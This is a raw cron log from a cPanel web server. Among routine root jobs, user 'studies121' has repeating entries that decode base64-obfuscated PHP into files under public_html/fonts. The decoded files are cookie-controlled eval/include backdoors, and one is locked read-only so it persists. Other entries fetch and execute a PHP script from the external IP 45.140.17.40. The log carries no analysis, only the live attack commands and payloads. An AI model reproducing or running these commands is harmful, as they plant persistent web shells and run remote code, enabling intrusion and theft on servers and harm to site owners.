Sep 20 21:48:01 ip-184-168-122-23 CROND[14213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:48:01 ip-184-168-122-23 CROND[14214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:49:01 ip-184-168-122-23 CROND[14306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:49:01 ip-184-168-122-23 CROND[14308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:49:01 ip-184-168-122-23 CROND[14309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:49:01 ip-184-168-122-23 CROND[14307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:50:01 ip-184-168-122-23 CROND[14405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:50:01 ip-184-168-122-23 CROND[14407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:50:01 ip-184-168-122-23 CROND[14409]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 21:50:01 ip-184-168-122-23 CROND[14410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:50:01 ip-184-168-122-23 CROND[14414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:50:01 ip-184-168-122-23 CROND[14408]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 21:50:01 ip-184-168-122-23 CROND[14415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:50:01 ip-184-168-122-23 CROND[14416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:50:01 ip-184-168-122-23 CROND[14418]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:51:02 ip-184-168-122-23 CROND[14516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:51:02 ip-184-168-122-23 CROND[14517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:51:02 ip-184-168-122-23 CROND[14519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:51:02 ip-184-168-122-23 CROND[14520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:52:01 ip-184-168-122-23 CROND[14682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:52:01 ip-184-168-122-23 CROND[14684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:52:01 ip-184-168-122-23 CROND[14685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:52:01 ip-184-168-122-23 CROND[14686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:52:01 ip-184-168-122-23 CROND[14687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:53:01 ip-184-168-122-23 CROND[14774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:53:01 ip-184-168-122-23 CROND[14777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:53:01 ip-184-168-122-23 CROND[14775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:53:01 ip-184-168-122-23 CROND[14778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:54:01 ip-184-168-122-23 CROND[14858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:54:01 ip-184-168-122-23 CROND[14860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:54:01 ip-184-168-122-23 CROND[14863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:54:01 ip-184-168-122-23 CROND[14864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:54:01 ip-184-168-122-23 CROND[14865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:55:02 ip-184-168-122-23 CROND[14972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:55:02 ip-184-168-122-23 CROND[14973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:55:02 ip-184-168-122-23 CROND[14975]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:55:02 ip-184-168-122-23 CROND[14974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:55:02 ip-184-168-122-23 CROND[14976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:55:02 ip-184-168-122-23 CROND[14977]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:56:01 ip-184-168-122-23 CROND[15062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:56:01 ip-184-168-122-23 CROND[15063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:56:01 ip-184-168-122-23 CROND[15064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:56:01 ip-184-168-122-23 CROND[15066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:56:01 ip-184-168-122-23 CROND[15070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:57:01 ip-184-168-122-23 CROND[15234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:57:01 ip-184-168-122-23 CROND[15237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:57:01 ip-184-168-122-23 CROND[15238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:57:01 ip-184-168-122-23 CROND[15236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:58:01 ip-184-168-122-23 CROND[15322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:58:01 ip-184-168-122-23 CROND[15324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:58:01 ip-184-168-122-23 CROND[15325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:58:01 ip-184-168-122-23 CROND[15326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:58:01 ip-184-168-122-23 CROND[15327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:59:01 ip-184-168-122-23 CROND[15401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:59:01 ip-184-168-122-23 CROND[15402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:59:01 ip-184-168-122-23 CROND[15403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:59:01 ip-184-168-122-23 CROND[15404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:00:01 ip-184-168-122-23 CROND[15485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:00:01 ip-184-168-122-23 CROND[15489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:00:01 ip-184-168-122-23 CROND[15488]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:00:01 ip-184-168-122-23 CROND[15487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:00:01 ip-184-168-122-23 CROND[15493]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 22:00:01 ip-184-168-122-23 CROND[15492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:00:01 ip-184-168-122-23 CROND[15491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:00:01 ip-184-168-122-23 CROND[15494]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
